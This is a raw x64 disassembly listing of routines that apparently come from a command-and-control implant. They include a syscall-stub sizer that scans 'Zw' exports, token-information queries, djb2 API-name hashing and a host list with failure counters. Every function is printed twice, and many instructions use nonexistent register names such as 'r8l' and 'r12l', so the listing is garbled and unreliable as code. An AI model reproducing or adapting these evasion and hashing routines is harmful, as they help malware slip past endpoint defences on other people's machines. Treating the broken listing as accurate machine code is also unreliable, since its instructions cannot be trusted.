140014729mov eax, [rbx+56]
14001472cmov [rsi], eax
14001472emov eax, 1
140014733jmp 0x14001475d
140014735
140014735loc_140014735:
140014735mov rbx, [rbx+84]
140014739jmp 0x1400146f5
14001473b
14001473bloc_14001473b:
14001473blea r9, [rip+0x16f74]
140014742mov r8l, 194
140014748lea rdx, [rip+0x18671]
14001474flea rcx, [rip+0x16f91]
140014756call printf
14001475b
14001475bloc_14001475b:
14001475bxor eax, eax
14001475d
14001475dloc_14001475d:
14001475dadd rsp, 40
140014761pop rbx
140014762pop rsi
140014763ret
140014764
140014764loc_140014764:
140014764xor eax, eax
140014766ret
1400146d0
140014767
140014767 // align 0x10
140014767 // align 0x10
140014770
140014770GetSyscallSize:
140014770push r12
140014772xor edx, edx
140014774push rbp
140014775push rdi
140014776push rsi
140014777push rbx
140014778mov rbx, [rip+0x17bf1]
14001477fmov rax, [rbx+2110]
140014786test rax, rax
140014789je 0x14001481f
14001478fmov edx, [rbx+2036]
140014795test edx, edx
140014797jne 0x14001481f
14001479dmovsxd rcx, [rax+60]
1400147a1xor r8l, r8l
1400147a4mov ecx, [rax+rcx+136]
1400147abadd rcx, rax
1400147aemov edi, [rcx+32]
1400147b1mov r10l, [rcx+28]
1400147b5mov esi, [rcx+36]
1400147b8mov ebp, [rcx+24]
1400147bbxor ecx, ecx
1400147bdadd r10, rax
1400147c0add rdi, rax
1400147c3add rsi, rax
1400147c6
1400147c6loc_1400147c6:
1400147c6cmp r8l, ebp
1400147c9jae 0x140014819
1400147cbmov r9l, [rdi+4*r8]
1400147cfcmp [rax+r9], 30554
1400147d6jne 0x140014814
1400147d8test rcx, rcx
1400147dbmovzx r9l, [rsi+2*r8]
1400147e0jne 0x1400147eb
1400147e2mov ecx, [r10+4*r9]
1400147e6add rcx, rax
1400147e9jmp 0x140014814
1400147eb
1400147ebloc_1400147eb:
1400147ebmov r9l, [r10+4*r9]
1400147efmov r11, rcx
1400147f2add r9, rax
1400147f5mov r12, r9
1400147f8sub r11, r9
1400147fbsub r12, rcx
1400147fecmp r9, rcx
140014801mov r9l, r12l
140014804cmovb r9l, r11l
140014808test edx, edx
14001480aje 0x140014811
14001480ccmp r9l, edx
14001480fjae 0x140014814
140014811
140014811loc_140014811:
140014811mov edx, r9l
140014814
140014814loc_140014814:
140014814inc r8
140014817jmp 0x1400147c6
140014819
140014819loc_140014819:
140014819mov [rbx+2036], edx
14001481f
14001481floc_14001481f:
14001481fpop rbx
140014820mov eax, edx
140014822pop rsi
140014823pop rdi
140014824pop rbp
140014825pop r12
140014827ret
140014770
140014770GetSyscallSize:
140014770push r12
140014772xor edx, edx
140014774push rbp
140014775push rdi
140014776push rsi
140014777push rbx
140014778mov rbx, [rip+0x17bf1]
14001477fmov rax, [rbx+2110]
140014786test rax, rax
140014789je 0x14001481f
14001478fmov edx, [rbx+2036]
140014795test edx, edx
140014797jne 0x14001481f
14001479dmovsxd rcx, [rax+60]
1400147a1xor r8l, r8l
1400147a4mov ecx, [rax+rcx+136]
1400147abadd rcx, rax
1400147aemov edi, [rcx+32]
1400147b1mov r10l, [rcx+28]
1400147b5mov esi, [rcx+36]
1400147b8mov ebp, [rcx+24]
1400147bbxor ecx, ecx
1400147bdadd r10, rax
1400147c0add rdi, rax
1400147c3add rsi, rax
1400147c6
1400147c6loc_1400147c6:
1400147c6cmp r8l, ebp
1400147c9jae 0x140014819
1400147cbmov r9l, [rdi+4*r8]
1400147cfcmp [rax+r9], 30554
1400147d6jne 0x140014814
1400147d8test rcx, rcx
1400147dbmovzx r9l, [rsi+2*r8]
1400147e0jne 0x1400147eb
1400147e2mov ecx, [r10+4*r9]
1400147e6add rcx, rax
1400147e9jmp 0x140014814
1400147eb
1400147ebloc_1400147eb:
1400147ebmov r9l, [r10+4*r9]
1400147efmov r11, rcx
1400147f2add r9, rax
1400147f5mov r12, r9
1400147f8sub r11, r9
1400147fbsub r12, rcx
1400147fecmp r9, rcx
140014801mov r9l, r12l
140014804cmovb r9l, r11l
140014808test edx, edx
14001480aje 0x140014811
14001480ccmp r9l, edx
14001480fjae 0x140014814
140014811
140014811loc_140014811:
140014811mov edx, r9l
140014814
140014814loc_140014814:
140014814inc r8
140014817jmp 0x1400147c6
140014819
140014819loc_140014819:
140014819mov [rbx+2036], edx
14001481f
14001481floc_14001481f:
14001481fpop rbx
140014820mov eax, edx
140014822pop rsi
140014823pop rdi
140014824pop rbp
140014825pop r12
140014827ret
140014770
140014828
140014828 // align 0x10
140014828 // align 0x10
140014830
140014830GetSystemFileTime:
140014830sub rsp, 56
140014834mov rax, [rip+0x17b35]
14001483blea rcx, [rsp+40]
140014840call [rax+1132]
140014846mov rax, [rsp+40]
14001484badd rsp, 56
14001484fret
140014830
140014830GetSystemFileTime:
140014830sub rsp, 56
140014834mov rax, [rip+0x17b35]
14001483blea rcx, [rsp+40]
140014840call [rax+1132]
140014846mov rax, [rsp+40]
14001484badd rsp, 56
14001484fret
140014830
140014850
140014850GetTokenInfo:
140014850push r15
140014852push r14
140014854push r13
140014856push r12
140014858mov r12, rdx
14001485bxor edx, edx
14001485dpush rbp
14001485emov rbp, r9
140014861push rdi
140014862mov rdi, r8
140014865xor r8l, r8l
140014868push rsi
140014869mov rsi, rcx
14001486cpush rbx
14001486dsub rsp, 72
140014871mov r14, [rsp+176]
140014879mov [rsp+52], edx
14001487dmov [rsp+56], edx
140014881mov [rsp+60], edx
140014885mov rdx, r14
140014888call TokenQueryOwner
14001488dtest eax, eax
14001488fjne 0x1400148b6
140014891lea r9, [rip+0x153c5]
140014898mov r8l, 966
14001489elea rdx, [rip+0x188eb]
1400148a5lea rcx, [rip+0x1511c]
1400148accall printf
1400148b1jmp 0x140014ad4
1400148b6
1400148b6loc_1400148b6:
1400148b6mov rbx, [rip+0x17ab3]
1400148bdxor r9l, r9l
1400148c0xor r8l, r8l
1400148c3mov rcx, rsi
1400148c6lea r15, [rsp+52]
1400148cbmov edx, 10
1400148d0mov [rsp+32], r15
1400148d5call [rbx+1340]
1400148dbmov edx, [rsp+52]
1400148dfmov ecx, 64
1400148e4call [rbx+932]
1400148eamov [rsp+32], r15
1400148efmov r9l, [rsp+52]
1400148f4mov rcx, rsi
1400148f7mov r13, rax
1400148famov r8, rax
1400148fdmov edx, 10
140014902call [rbx+1340]
140014908test eax, eax
14001490aje 0x140014a5a
140014910mov eax, [r13+24]
140014914mov [r12], eax
140014918cmp eax, 1
14001491bjne 0x1400149c4
140014921lea r12, [rsp+56]
140014926xor r9l, r9l
140014929xor r8l, r8l
14001492cmov rcx, rsi
14001492fmov edx, 25
140014934mov [rsp+32], r12
140014939call [rbx+1340]
14001493fmov edx, [rsp+56]
140014943mov ecx, 64
140014948call [rbx+932]
14001494emov rcx, rsi
140014951mov [rsp+32], r12
140014956mov r9l, [rsp+56]
14001495bmov rbp, rax
14001495emov r8, rax
140014961mov edx, 25
140014966call [rbx+1340]
14001496cmov esi, eax
14001496etest eax, eax
140014970je 0x14001499c
140014972mov rsi, [rbx+1484]
140014979mov rcx, [rbp]
14001497dxor r12l, r12l
140014980call [rbx+1476]
140014986mov rcx, [rbp]
14001498amov dl, [rax]
14001498cdec edx
14001498emovzx edx, dl
140014991call rsi
140014993mov eax, [rax]
140014995mov [rdi], eax
140014997jmp 0x140014a2f
14001499c
14001499cloc_14001499c:
14001499clea r9, [rip+0x152d1]
1400149a3mov r8l, 991
1400149a9xor r12l, r12l
1400149aclea rdx, [rip+0x187dd]
1400149b3lea rcx, [rip+0x1500e]
1400149bacall printf
1400149bfjmp 0x140014a85
1400149c4
1400149c4loc_1400149c4:
1400149c4cmp eax, 2
1400149c7je 0x1400149d5
1400149c9
1400149c9loc_1400149c9:
1400149c9xor r12l, r12l
1400149ccxor ebp, ebp
1400149cexor esi, esi
1400149d0jmp 0x140014a85
1400149d5
1400149d5loc_1400149d5:
1400149d5lea rdi, [rsp+60]
1400149daxor r9l, r9l
1400149ddxor r8l, r8l
1400149e0mov rcx, rsi
1400149e3mov edx, 9
1400149e8mov [rsp+32], rdi
1400149edcall [rbx+1340]
1400149f3mov edx, [rsp+60]
1400149f7mov ecx, 64
1400149fccall [rbx+932]
140014a02mov rcx, rsi
140014a05mov [rsp+32], rdi
140014a0amov r9l, [rsp+60]
140014a0fmov r12, rax
140014a12mov r8, rax
140014a15mov edx, 9
140014a1acall [rbx+1340]
140014a20mov esi, eax
140014a22test eax, eax
140014a24je 0x140014a36
140014a26mov eax, [r12]
140014a2amov [rbp], eax
140014a2dxor ebp, ebp
140014a2f
140014a2floc_140014a2f:
140014a2fmov esi, 1
140014a34jmp 0x140014a85
140014a36
140014a36loc_140014a36:
140014a36lea r9, [rip+0x15237]
140014a3dmov r8l, 1007
140014a43lea rdx, [rip+0x18746]
140014a4axor ebp, ebp
140014a4clea rcx, [rip+0x14f75]
140014a53call printf
140014a58jmp 0x140014a85
140014a5a
140014a5aloc_140014a5a:
140014a5alea r9, [rip+0x15213]
140014a61mov r8l, 1013
140014a67lea rdx, [rip+0x18722]
140014a6elea rcx, [rip+0x14f53]
140014a75call printf
140014a7atest r13, r13
140014a7djne 0x1400149c9
140014a83jmp 0x140014ad4
140014a85
140014a85loc_140014a85:
140014a85xor r15l, r15l
140014a88mov ecx, [rsp+52]
140014a8cmov rdi, r13
140014a8fmov eax, r15l
140014a92rep stosb [rdi], al
140014a94mov rcx, r13
140014a97call [rbx+940]
140014a9dtest rbp, rbp
140014aa0je 0x140014ab7
140014aa2mov ecx, [rsp+56]
140014aa6mov rdi, rbp
140014aa9mov eax, r15l
140014aacrep stosb [rdi], al
140014aaemov rcx, rbp
140014ab1call [rbx+940]
140014ab7
140014ab7loc_140014ab7:
140014ab7test r12, r12
140014abaje 0x140014ad0
140014abcmov ecx, [rsp+60]
140014ac0mov rdi, r12
140014ac3xor eax, eax
140014ac5rep stosb [rdi], al
140014ac7mov rcx, r12
140014acacall [rbx+940]
140014ad0
140014ad0loc_140014ad0:
140014ad0test esi, esi
140014ad2jne 0x140014aff
140014ad4
140014ad4loc_140014ad4:
140014ad4mov rdi, [r14]
140014ad7test rdi, rdi
140014adajne 0x140014ae0
140014adc
140014adcloc_140014adc:
140014adcxor esi, esi
140014adejmp 0x140014aff
140014ae0
140014ae0loc_140014ae0:
140014ae0mov ecx, [r14+8]
140014ae4xor eax, eax
140014ae6rep stosb [rdi], al
140014ae8mov rax, [rip+0x17881]
140014aefmov rcx, [r14]
140014af2call [rax+940]
140014af8xor eax, eax
140014afamov [r14], rax
140014afdjmp 0x140014adc
140014aff
140014affloc_140014aff:
140014affadd rsp, 72
140014b03mov eax, esi
140014b05pop rbx
140014b06pop rsi
140014b07pop rdi
140014b08pop rbp
140014b09pop r12
140014b0bpop r13
140014b0dpop r14
140014b0fpop r15
140014b11ret
140014850
140014850GetTokenInfo:
140014850push r15
140014852push r14
140014854push r13
140014856push r12
140014858mov r12, rdx
14001485bxor edx, edx
14001485dpush rbp
14001485emov rbp, r9
140014861push rdi
140014862mov rdi, r8
140014865xor r8l, r8l
140014868push rsi
140014869mov rsi, rcx
14001486cpush rbx
14001486dsub rsp, 72
140014871mov r14, [rsp+176]
140014879mov [rsp+52], edx
14001487dmov [rsp+56], edx
140014881mov [rsp+60], edx
140014885mov rdx, r14
140014888call TokenQueryOwner
14001488dtest eax, eax
14001488fjne 0x1400148b6
140014891lea r9, [rip+0x153c5]
140014898mov r8l, 966
14001489elea rdx, [rip+0x188eb]
1400148a5lea rcx, [rip+0x1511c]
1400148accall printf
1400148b1jmp 0x140014ad4
1400148b6
1400148b6loc_1400148b6:
1400148b6mov rbx, [rip+0x17ab3]
1400148bdxor r9l, r9l
1400148c0xor r8l, r8l
1400148c3mov rcx, rsi
1400148c6lea r15, [rsp+52]
1400148cbmov edx, 10
1400148d0mov [rsp+32], r15
1400148d5call [rbx+1340]
1400148dbmov edx, [rsp+52]
1400148dfmov ecx, 64
1400148e4call [rbx+932]
1400148eamov [rsp+32], r15
1400148efmov r9l, [rsp+52]
1400148f4mov rcx, rsi
1400148f7mov r13, rax
1400148famov r8, rax
1400148fdmov edx, 10
140014902call [rbx+1340]
140014908test eax, eax
14001490aje 0x140014a5a
140014910mov eax, [r13+24]
140014914mov [r12], eax
140014918cmp eax, 1
14001491bjne 0x1400149c4
140014921lea r12, [rsp+56]
140014926xor r9l, r9l
140014929xor r8l, r8l
14001492cmov rcx, rsi
14001492fmov edx, 25
140014934mov [rsp+32], r12
140014939call [rbx+1340]
14001493fmov edx, [rsp+56]
140014943mov ecx, 64
140014948call [rbx+932]
14001494emov rcx, rsi
140014951mov [rsp+32], r12
140014956mov r9l, [rsp+56]
14001495bmov rbp, rax
14001495emov r8, rax
140014961mov edx, 25
140014966call [rbx+1340]
14001496cmov esi, eax
14001496etest eax, eax
140014970je 0x14001499c
140014972mov rsi, [rbx+1484]
140014979mov rcx, [rbp]
14001497dxor r12l, r12l
140014980call [rbx+1476]
140014986mov rcx, [rbp]
14001498amov dl, [rax]
14001498cdec edx
14001498emovzx edx, dl
140014991call rsi
140014993mov eax, [rax]
140014995mov [rdi], eax
140014997jmp 0x140014a2f
14001499c
14001499cloc_14001499c:
14001499clea r9, [rip+0x152d1]
1400149a3mov r8l, 991
1400149a9xor r12l, r12l
1400149aclea rdx, [rip+0x187dd]
1400149b3lea rcx, [rip+0x1500e]
1400149bacall printf
1400149bfjmp 0x140014a85
1400149c4
1400149c4loc_1400149c4:
1400149c4cmp eax, 2
1400149c7je 0x1400149d5
1400149c9
1400149c9loc_1400149c9:
1400149c9xor r12l, r12l
1400149ccxor ebp, ebp
1400149cexor esi, esi
1400149d0jmp 0x140014a85
1400149d5
1400149d5loc_1400149d5:
1400149d5lea rdi, [rsp+60]
1400149daxor r9l, r9l
1400149ddxor r8l, r8l
1400149e0mov rcx, rsi
1400149e3mov edx, 9
1400149e8mov [rsp+32], rdi
1400149edcall [rbx+1340]
1400149f3mov edx, [rsp+60]
1400149f7mov ecx, 64
1400149fccall [rbx+932]
140014a02mov rcx, rsi
140014a05mov [rsp+32], rdi
140014a0amov r9l, [rsp+60]
140014a0fmov r12, rax
140014a12mov r8, rax
140014a15mov edx, 9
140014a1acall [rbx+1340]
140014a20mov esi, eax
140014a22test eax, eax
140014a24je 0x140014a36
140014a26mov eax, [r12]
140014a2amov [rbp], eax
140014a2dxor ebp, ebp
140014a2f
140014a2floc_140014a2f:
140014a2fmov esi, 1
140014a34jmp 0x140014a85
140014a36
140014a36loc_140014a36:
140014a36lea r9, [rip+0x15237]
140014a3dmov r8l, 1007
140014a43lea rdx, [rip+0x18746]
140014a4axor ebp, ebp
140014a4clea rcx, [rip+0x14f75]
140014a53call printf
140014a58jmp 0x140014a85
140014a5a
140014a5aloc_140014a5a:
140014a5alea r9, [rip+0x15213]
140014a61mov r8l, 1013
140014a67lea rdx, [rip+0x18722]
140014a6elea rcx, [rip+0x14f53]
140014a75call printf
140014a7atest r13, r13
140014a7djne 0x1400149c9
140014a83jmp 0x140014ad4
140014a85
140014a85loc_140014a85:
140014a85xor r15l, r15l
140014a88mov ecx, [rsp+52]
140014a8cmov rdi, r13
140014a8fmov eax, r15l
140014a92rep stosb [rdi], al
140014a94mov rcx, r13
140014a97call [rbx+940]
140014a9dtest rbp, rbp
140014aa0je 0x140014ab7
140014aa2mov ecx, [rsp+56]
140014aa6mov rdi, rbp
140014aa9mov eax, r15l
140014aacrep stosb [rdi], al
140014aaemov rcx, rbp
140014ab1call [rbx+940]
140014ab7
140014ab7loc_140014ab7:
140014ab7test r12, r12
140014abaje 0x140014ad0
140014abcmov ecx, [rsp+60]
140014ac0mov rdi, r12
140014ac3xor eax, eax
140014ac5rep stosb [rdi], al
140014ac7mov rcx, r12
140014acacall [rbx+940]
140014ad0
140014ad0loc_140014ad0:
140014ad0test esi, esi
140014ad2jne 0x140014aff
140014ad4
140014ad4loc_140014ad4:
140014ad4mov rdi, [r14]
140014ad7test rdi, rdi
140014adajne 0x140014ae0
140014adc
140014adcloc_140014adc:
140014adcxor esi, esi
140014adejmp 0x140014aff
140014ae0
140014ae0loc_140014ae0:
140014ae0mov ecx, [r14+8]
140014ae4xor eax, eax
140014ae6rep stosb [rdi], al
140014ae8mov rax, [rip+0x17881]
140014aefmov rcx, [r14]
140014af2call [rax+940]
140014af8xor eax, eax
140014afamov [r14], rax
140014afdjmp 0x140014adc
140014aff
140014affloc_140014aff:
140014affadd rsp, 72
140014b03mov eax, esi
140014b05pop rbx
140014b06pop rsi
140014b07pop rdi
140014b08pop rbp
140014b09pop r12
140014b0bpop r13
140014b0dpop r14
140014b0fpop r15
140014b11ret
140014850
140014b12
140014b12 // align 0x10
140014b12 // align 0x10
140014b20
140014b20GetTypeIndexToken:
140014b20push rdi
140014b21xor edx, edx
140014b23xor eax, eax
140014b25push rsi
140014b26mov rsi, rcx
140014b29push rbx
140014b2asub rsp, 48
140014b2emov [rsp+36], edx
140014b32lea rcx, [rsp+40]
140014b37lea rdx, [rsp+36]
140014b3cmov [rsp+40], rax
140014b41call QueryObjectTypesInfo
140014b46mov rdi, [rsp+40]
140014b4btest eax, eax
140014b4dmov ebx, eax
140014b4fje 0x140014bb3
140014b51mov r8l, [rdi]
140014b54lea rcx, [rdi+8]
140014b58xor eax, eax
140014b5a
140014b5aloc_140014b5a:
140014b5acmp r8l, eax
140014b5dje 0x140014bb1
140014b5fmov rdx, [rcx+8]
140014b63test rdx, rdx
140014b66je 0x140014b9c
140014b68cmp [rcx], 10
140014b6cjne 0x140014b9c
140014b6ecmp [rdx], 84
140014b72jne 0x140014b9c
140014b74cmp [rdx+2], 111
140014b79jne 0x140014b9c
140014b7bcmp [rdx+4], 107
140014b80jne 0x140014b9c
140014b82cmp [rdx+6], 101
140014b87jne 0x140014b9c
140014b89cmp [rdx+8], 110
140014b8ejne 0x140014b9c
140014b90add eax, 2
140014b93mov ebx, 1
140014b98mov [rsi], eax
140014b9ajmp 0x140014bb3
140014b9c
140014b9cloc_140014b9c:
140014b9cmovzx edx, [rcx+2]
140014ba0inc eax
140014ba2add rdx, 7
140014ba6and rdx, -8
140014baalea rcx, [rcx+rdx+104]
140014bafjmp 0x140014b5a
140014bb1
140014bb1loc_140014bb1:
140014bb1xor ebx, ebx
140014bb3
140014bb3loc_140014bb3:
140014bb3test rdi, rdi
140014bb6je 0x140014bd2
140014bb8mov ecx, [rsp+36]
140014bbcxor eax, eax
140014bberep stosb [rdi], al
140014bc0mov rax, [rip+0x177a9]
140014bc7mov rcx, [rsp+40]
140014bcccall [rax+940]
140014bd2
140014bd2loc_140014bd2:
140014bd2add rsp, 48
140014bd6mov eax, ebx
140014bd8pop rbx
140014bd9pop rsi
140014bdapop rdi
140014bdbret
140014b20
140014b20GetTypeIndexToken:
140014b20push rdi
140014b21xor edx, edx
140014b23xor eax, eax
140014b25push rsi
140014b26mov rsi, rcx
140014b29push rbx
140014b2asub rsp, 48
140014b2emov [rsp+36], edx
140014b32lea rcx, [rsp+40]
140014b37lea rdx, [rsp+36]
140014b3cmov [rsp+40], rax
140014b41call QueryObjectTypesInfo
140014b46mov rdi, [rsp+40]
140014b4btest eax, eax
140014b4dmov ebx, eax
140014b4fje 0x140014bb3
140014b51mov r8l, [rdi]
140014b54lea rcx, [rdi+8]
140014b58xor eax, eax
140014b5a
140014b5aloc_140014b5a:
140014b5acmp r8l, eax
140014b5dje 0x140014bb1
140014b5fmov rdx, [rcx+8]
140014b63test rdx, rdx
140014b66je 0x140014b9c
140014b68cmp [rcx], 10
140014b6cjne 0x140014b9c
140014b6ecmp [rdx], 84
140014b72jne 0x140014b9c
140014b74cmp [rdx+2], 111
140014b79jne 0x140014b9c
140014b7bcmp [rdx+4], 107
140014b80jne 0x140014b9c
140014b82cmp [rdx+6], 101
140014b87jne 0x140014b9c
140014b89cmp [rdx+8], 110
140014b8ejne 0x140014b9c
140014b90add eax, 2
140014b93mov ebx, 1
140014b98mov [rsi], eax
140014b9ajmp 0x140014bb3
140014b9c
140014b9cloc_140014b9c:
140014b9cmovzx edx, [rcx+2]
140014ba0inc eax
140014ba2add rdx, 7
140014ba6and rdx, -8
140014baalea rcx, [rcx+rdx+104]
140014bafjmp 0x140014b5a
140014bb1
140014bb1loc_140014bb1:
140014bb1xor ebx, ebx
140014bb3
140014bb3loc_140014bb3:
140014bb3test rdi, rdi
140014bb6je 0x140014bd2
140014bb8mov ecx, [rsp+36]
140014bbcxor eax, eax
140014bberep stosb [rdi], al
140014bc0mov rax, [rip+0x177a9]
140014bc7mov rcx, [rsp+40]
140014bcccall [rax+940]
140014bd2
140014bd2loc_140014bd2:
140014bd2add rsp, 48
140014bd6mov eax, ebx
140014bd8pop rbx
140014bd9pop rsi
140014bdapop rdi
140014bdbret
140014b20
140014bdc
140014bdc // align 0x10
140014bdc // align 0x10
140014be0
140014be0HashEx:
140014be0xor eax, eax
140014be2test rcx, rcx
140014be5je 0x140014c2f
140014be7mov r10, rcx
140014beamov eax, 5381
140014bef
140014befloc_140014bef:
140014befmov r9b, [r10]
140014bf2test edx, edx
140014bf4jne 0x140014bfc
140014bf6test r9b, r9b
140014bf9jne 0x140014c11
140014bfbret
140014bfc
140014bfcloc_140014bfc:
140014bfcmov r11, r10
140014bffsub r11, rcx
140014c02cmp r11l, edx
140014c05jae 0x140014c2f
140014c07test r9b, r9b
140014c0ajne 0x140014c11
140014c0cinc r10
140014c0fjmp 0x140014c20
140014c11
140014c11loc_140014c11:
140014c11cmp r9b, 96
140014c15jbe 0x140014c20
140014c17test r8l, r8l
140014c1aje 0x140014c20
140014c1csub r9l, 32
140014c20
140014c20loc_140014c20:
140014c20imul eax, eax, 33
140014c23movzx r9l, r9b
140014c27inc r10
140014c2aadd eax, r9l
140014c2djmp 0x140014bef
140014c2f
140014c2floc_140014c2f:
140014c2fret
140014be0
140014be0HashEx:
140014be0xor eax, eax
140014be2test rcx, rcx
140014be5je 0x140014c2f
140014be7mov r10, rcx
140014beamov eax, 5381
140014bef
140014befloc_140014bef:
140014befmov r9b, [r10]
140014bf2test edx, edx
140014bf4jne 0x140014bfc
140014bf6test r9b, r9b
140014bf9jne 0x140014c11
140014bfbret
140014bfc
140014bfcloc_140014bfc:
140014bfcmov r11, r10
140014bffsub r11, rcx
140014c02cmp r11l, edx
140014c05jae 0x140014c2f
140014c07test r9b, r9b
140014c0ajne 0x140014c11
140014c0cinc r10
140014c0fjmp 0x140014c20
140014c11
140014c11loc_140014c11:
140014c11cmp r9b, 96
140014c15jbe 0x140014c20
140014c17test r8l, r8l
140014c1aje 0x140014c20
140014c1csub r9l, 32
140014c20
140014c20loc_140014c20:
140014c20imul eax, eax, 33
140014c23movzx r9l, r9b
140014c27inc r10
140014c2aadd eax, r9l
140014c2djmp 0x140014bef
140014c2f
140014c2floc_140014c2f:
140014c2fret
140014be0
140014c30
140014c30HashStringA:
140014c30mov eax, 5381
140014c35
140014c35loc_140014c35:
140014c35movsx edx, [rcx]
140014c38inc rcx
140014c3btest dl, dl
140014c3dje 0x140014c46
140014c3fimul eax, eax, 33
140014c42add eax, edx
140014c44jmp 0x140014c35
140014c46
140014c46loc_140014c46:
140014c46ret
140014c30
140014c30HashStringA:
140014c30mov eax, 5381
140014c35
140014c35loc_140014c35:
140014c35movsx edx, [rcx]
140014c38inc rcx
140014c3btest dl, dl
140014c3dje 0x140014c46
140014c3fimul eax, eax, 33
140014c42add eax, edx
140014c44jmp 0x140014c35
140014c46
140014c46loc_140014c46:
140014c46ret
140014c30
140014c47
140014c47 // align 0x10
140014c47 // align 0x10
140014c53
140014c53 // align 0x10
140014c53 // align 0x10
140014c60
140014c60HostAdd:
140014c60push r12
140014c62mov r9, rcx
140014c65push rbp
140014c66mov rbp, rdx
140014c69push rdi
140014c6amov edi, r8l
140014c6dpush rsi
140014c6emov rsi, rcx
140014c71lea rcx, [rip+0x151f8]
140014c78push rbx
140014c79sub rsp, 48
140014c7dmov [rsp+40], r8l
140014c82mov r8l, 345
140014c88mov [rsp+32], rdx
140014c8dlea rdx, [rip+0x183ac]
140014c94call printf
140014c99mov r8l, 32
140014c9fmov edx, 8
140014ca4mov r12, [rip+0x176c5]
140014cabmov rax, [r12+2230]
140014cb3mov rax, [rax+96]
140014cb7mov rcx, [rax+48]
140014cbbcall [r12+316]
140014cc3lea r8, [rbp+2]
140014cc7mov edx, 8
140014cccmov rbx, rax
140014ccfmov rax, [r12+2230]
140014cd7mov rax, [rax+96]
140014cdbmov rcx, [rax+48]
140014cdfcall [r12+316]
140014ce7xor edx, edx
140014ce9mov [rbx+8], edi
140014cecmov rcx, rbp
140014cefmov [rbx+16], edx
140014cf2mov rdx, [r12+112]
140014cf7mov rdi, rax
140014cfamov [rbx], rax
140014cfdmov rax, rbx
140014d00mov [rbx+24], rdx
140014d04rep movsb [rdi], [rsi]
140014d06mov [r12+112], rbx
140014d0badd rsp, 48
140014d0fpop rbx
140014d10pop rsi
140014d11pop rdi
140014d12pop rbp
140014d13pop r12
140014d15ret
140014c60
140014c60HostAdd:
140014c60push r12
140014c62mov r9, rcx
140014c65push rbp
140014c66mov rbp, rdx
140014c69push rdi
140014c6amov edi, r8l
140014c6dpush rsi
140014c6emov rsi, rcx
140014c71lea rcx, [rip+0x151f8]
140014c78push rbx
140014c79sub rsp, 48
140014c7dmov [rsp+40], r8l
140014c82mov r8l, 345
140014c88mov [rsp+32], rdx
140014c8dlea rdx, [rip+0x183ac]
140014c94call printf
140014c99mov r8l, 32
140014c9fmov edx, 8
140014ca4mov r12, [rip+0x176c5]
140014cabmov rax, [r12+2230]
140014cb3mov rax, [rax+96]
140014cb7mov rcx, [rax+48]
140014cbbcall [r12+316]
140014cc3lea r8, [rbp+2]
140014cc7mov edx, 8
140014cccmov rbx, rax
140014ccfmov rax, [r12+2230]
140014cd7mov rax, [rax+96]
140014cdbmov rcx, [rax+48]
140014cdfcall [r12+316]
140014ce7xor edx, edx
140014ce9mov [rbx+8], edi
140014cecmov rcx, rbp
140014cefmov [rbx+16], edx
140014cf2mov rdx, [r12+112]
140014cf7mov rdi, rax
140014cfamov [rbx], rax
140014cfdmov rax, rbx
140014d00mov [rbx+24], rdx
140014d04rep movsb [rdi], [rsi]
140014d06mov [r12+112], rbx
140014d0badd rsp, 48
140014d0fpop rbx
140014d10pop rsi
140014d11pop rdi
140014d12pop rbp
140014d13pop r12
140014d15ret
140014c60
140014d16
140014d16 // align 0x10
140014d16 // align 0x10
140014d20
140014d20HostCheckup:
140014d20sub rsp, 40
140014d24mov rax, [rip+0x17645]
140014d2bxor r8l, r8l
140014d2emov rdx, [rax+112]
140014d32mov rax, rdx
140014d35
140014d35loc_140014d35:
140014d35test rax, rax
140014d38je 0x140014d4c
140014d3acmp [rax+16], 0
140014d3eje 0x140014d43
140014d40inc r8l
140014d43
140014d43loc_140014d43:
140014d43mov rax, [rax+24]
140014d47cmp rdx, rax
140014d4ajne 0x140014d35
140014d4c
140014d4cloc_140014d4c:
140014d4ccall HostCount
140014d51cmp eax, r8l
140014d54setne al
140014d57add rsp, 40
140014d5bmovzx eax, al
140014d5eret
140014d20
140014d20HostCheckup:
140014d20sub rsp, 40
140014d24mov rax, [rip+0x17645]
140014d2bxor r8l, r8l
140014d2emov rdx, [rax+112]
140014d32mov rax, rdx
140014d35
140014d35loc_140014d35:
140014d35test rax, rax
140014d38je 0x140014d4c
140014d3acmp [rax+16], 0
140014d3eje 0x140014d43
140014d40inc r8l
140014d43
140014d43loc_140014d43:
140014d43mov rax, [rax+24]
140014d47cmp rdx, rax
140014d4ajne 0x140014d35
140014d4c
140014d4cloc_140014d4c:
140014d4ccall HostCount
140014d51cmp eax, r8l
140014d54setne al
140014d57add rsp, 40
140014d5bmovzx eax, al
140014d5eret
140014d20
140014d5f
140014d5f // align 0x10
140014d5f // align 0x10
140014d60
140014d60HostCount:
140014d60mov rax, [rip+0x17609]
140014d67xor edx, edx
140014d69mov rcx, [rax+112]
140014d6dmov rax, rcx
140014d70
140014d70loc_140014d70:
140014d70test rax, rax
140014d73je 0x140014d80
140014d75mov rax, [rax+24]
140014d79inc edx
140014d7bcmp rcx, rax
140014d7ejne 0x140014d70
140014d80
140014d80loc_140014d80:
140014d80mov eax, edx
140014d82ret
140014d60
140014d60HostCount:
140014d60mov rax, [rip+0x17609]
140014d67xor edx, edx
140014d69mov rcx, [rax+112]
140014d6dmov rax, rcx
140014d70
140014d70loc_140014d70:
140014d70test rax, rax
140014d73je 0x140014d80
140014d75mov rax, [rax+24]
140014d79inc edx
140014d7bcmp rcx, rax
140014d7ejne 0x140014d70
140014d80
140014d80loc_140014d80:
140014d80mov eax, edx
140014d82ret
140014d60
140014d83
140014d83 // align 0x10
140014d83 // align 0x10
140014d90
140014d90HostFailure:
140014d90push rbx
140014d91mov rbx, rcx
140014d94sub rsp, 48
140014d98test rcx, rcx
140014d9bje 0x140014df3
140014d9dmov rdx, [rip+0x175cc]
140014da4mov eax, [rcx+12]
140014da7cmp eax, [rdx+150]
140014dadjne 0x140014dc7
140014dafmov [rcx+16], 1
140014db6movsx ecx, [rdx+144]
140014dbdadd rsp, 48
140014dc1pop rbx
140014dc2jmp 0x140014ee0
140014dc7
140014dc7loc_140014dc7:
140014dc7inc eax
140014dc9mov r8l, 382
140014dcflea rdx, [rip+0x17f8a]
140014dd6mov [rcx+12], eax
140014dd9mov [rsp+40], eax
140014dddmov eax, [rcx+8]
140014de0mov [rsp+32], eax
140014de4mov r9, [rcx]
140014de7lea rcx, [rip+0x1516a]
140014deecall printf
140014df3
140014df3loc_140014df3:
140014df3add rsp, 48
140014df7mov rax, rbx
140014dfapop rbx
140014dfbret
140014d90
140014d90HostFailure:
140014d90push rbx
140014d91mov rbx, rcx
140014d94sub rsp, 48
140014d98test rcx, rcx
